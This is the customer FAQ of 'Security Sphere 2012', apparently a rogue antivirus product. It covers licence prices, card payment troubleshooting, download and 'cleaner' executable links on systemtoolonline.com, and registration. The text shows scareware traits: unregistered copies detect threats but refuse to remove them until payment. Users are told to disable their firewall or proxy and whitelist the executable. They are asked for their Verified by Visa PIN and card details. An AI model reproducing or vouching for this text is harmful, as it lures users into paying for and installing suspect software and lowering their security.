Send a request to our support service at Support Page, and we will cancel your membership at no extra fees. All we need is your registration e-mail address and order ID. Make sure you provide complete and accurate information. ↪ Back to the top

If for any good reason our product is not what you expected, you can ask us for a refund within 30 days after your purchase. We offer 30-day money back guarantee. ↪ Back to the top

We provide three different licences:
- $59,90 - 1 Year limited
- $69,95 - 2 Year limited
- $83.00 - Lifetime (unlimited)
At the expiration of the first two types of licenses (which are limited for 1 or 2 years), your subscription WILL NOT be renewed automaticaly. ↪ Back to the top

If you are a new customer and are getting message "Transaction Error. Your card number, address or secure code may be invalid." during your purchase, make sure that:
- All fields in the order form are filled.
- The card number, expiration date, and security code (3 numbers on the back of the card) are correct.
- Your phone number includes your area/city code and number with no spaces or dashes. (Your contry code will be assigned automatically).
- Your e-mail address is complete and correct.
- You provided your BILLING address (where bank sends staments to)
- If your card is enrolled in Verified by Visa or MasterCard SecureCode please make sure you provide associated PIN code. Otherwise your transaction will be declined.
- Your card account has enought balance for this purchase.
Also, do not use proxy servers and leave cookies enabled. A decline may also mean your card has already been processed and you attempt to provide duplicate transaction. ↪ Back to the top

For Visa/Mastercard, the three-digit CVV number is printed on the signature panel on the back of the card immediately after the card's account number. For American Express, the four-digit CVV number is printed on the front of the card above the card account number. ↪ Back to the top

After purchasing Security Sphere 2012 you will receive a confirmation e-mail with all the information regarding your purchase, including your Order Number and price of product. Please make sure you provide correct e-mail address during checkout process. ↪ Back to the top

We want to make sure you received, registered, and activated your product prior to processing any payment. Therefore your card will be charged only if our system will show successful registration of your license.

According to our Privacy policy, all information received is 100% secure and safe. This is guaranteed by SSL encryption and non-disclosure policy. All credit card transaction information is sent from your browser to our servers via secure encrypted connections. ↪ Back to the top

You can safely enter your credit card number through our secure server, which encrypts all submitted information and sends it directly to the processing company. We do not have access to your payment and personal information. ↪ Back to the top

First, you need to download the installation file from http://systemtoolonline.com/download.php After the installation file was successfully saved, run it and follow the instructions. The Security Sphere 2012 icon will appear on your desktop. ↪ Back to the top

The license key is a long sequence of letters and numbers that can be easily confused when typed. Please make sure you make no mistypes in your code, like "five" and "s", or "zero" and "o". Better copy and paste it instead of typing. You can also contact our customer support. ↪ Back to the top

Please make sure it is Security Sphere 2012 that you're trying to register. Many users try to register some other software with our serial keys. If you mistakenly purchased our license, please contact our support department. ↪ Back to the top

Run the program, go to Update tab and click 'Check for updates'. The program will automatically check whether you need to update your spyware database. If the updates are available, you will be offered to download and install them. ↪ Back to the top

After you purchase the license key and successfully installed the program, run it and click the 'Registration' button at the top of the main window of the program, enter the key into the corresponding field and press 'Activate'. If everything is correct, you will get the 'Thanks for registration!' message. If anything was wrong, a 'Sorry, the registration key is invalid' box will appear. If there is no 'Registration' button, but only 'Support' and 'Update' buttons, then your program is already registered. But if it still has limited functionality (i.e. is unable to remove threats), please contact our support department. ↪ Back to the top

Buying of Security Sphere 2012 with a single license means that it must be installed on one PC at a time. If you wish to install it on another system, first you have to uninstall it from the previous system. Or else you could purchase multiple licenses of Security Sphere 2012. ↪ Back to the top

After we process your order, receipts are sent immediately and automatically. Make sure your internet connection is working and your ISP does not have a firewall or antispam-software which may cause problem with e-mail delivery. You should also check whether the email address you entered is correct. If the problem persists, contact our support department or use the password reminder form. ↪ Back to the top

You can request your reg key to be resent to the email address you used when placing the order. To do this, click on the appropriate link below. To get a copy of your license key, please please email to usIf you've changed your e-mail address since ordering the product, please contact customer service and provide your name, your previous e-mail address, the product name, the sale/order number (if it's known). ↪ Back to the top

If your order is approved you should receive your license key information via email almost instantly, although due to possible delays it might take up to 12 hours. Make sure to check your Bulk (or Spam) e-mail folder. Feel free to contact our Help Desk if you did not receive confirmation e-mail. ↪ Back to the top

Sure! Just use our contact form to send an instant message to our support department. Please be assured all issues are addressed within shortest possible time. Make sure you provide us with as many relevant details about your problem/order as possible so we may locate your order fast (i.e. you can provide your name, email address, and last 4 digits of the card for faster assistance, etc). ↪ Back to the top

In most cases, your problems are caused by the following reasons:
- No Internet connection. Please make sure your connection is up and working before you run LiveUpdate.
- Firewall / Proxy Server. You may need to temporarily disable your firewall or proxy server to perform Live Update. These could see the update function as a malicious process.
If it is possible, place SystemSecurity's executable 'SystemSecurity.exe' on your firewall or proxy server's 'Allowed Processes' list. This will enable you to run future Live Updates with your firewall or proxy server enabled. ↪ Back to the top

First, you need to check whether you have the latest spyware definitions installed. Then, please close all other programs before scanning. Run the scan and try to delete the infected objects. If deleting failed, reboot in Safe Mode (press and hold F8 while your PC is booting up, then select Safe Mode from the menu). After Windows loads, run the program, scan the system for spyware, and delete the infections. In case you still can't delete the infected objects, please contact our customer support department with detailed description of the situation and of the infected objects. Our request will be answered within a couple of hours. ↪ Back to the top

If your copy is not registered, you can search for spyware but you are unable to remove the threats. Also, there should be the "Registration" button at the top of the mail window of the program. After registration that button will disappear. If there are only "Support" and "Update" buttons, then your program is already registered. But if it still has limited functionality (i.e. is unable to remove threats), please contact our support department. ↪ Back to the top

You may use the system Control Panel in order to uninstall the software:
Please go to Start - Control Panel - Add/Remove Programs to see the Security Sphere 2012 uninstall options.
If you click the 'Remove' button, Security Sphere 2012 will be uninstalled.

If you already did this and it wouldn't help, please try using this tool: http://systemtoolonline.com/install/cleaner.exe ↪ Back to the top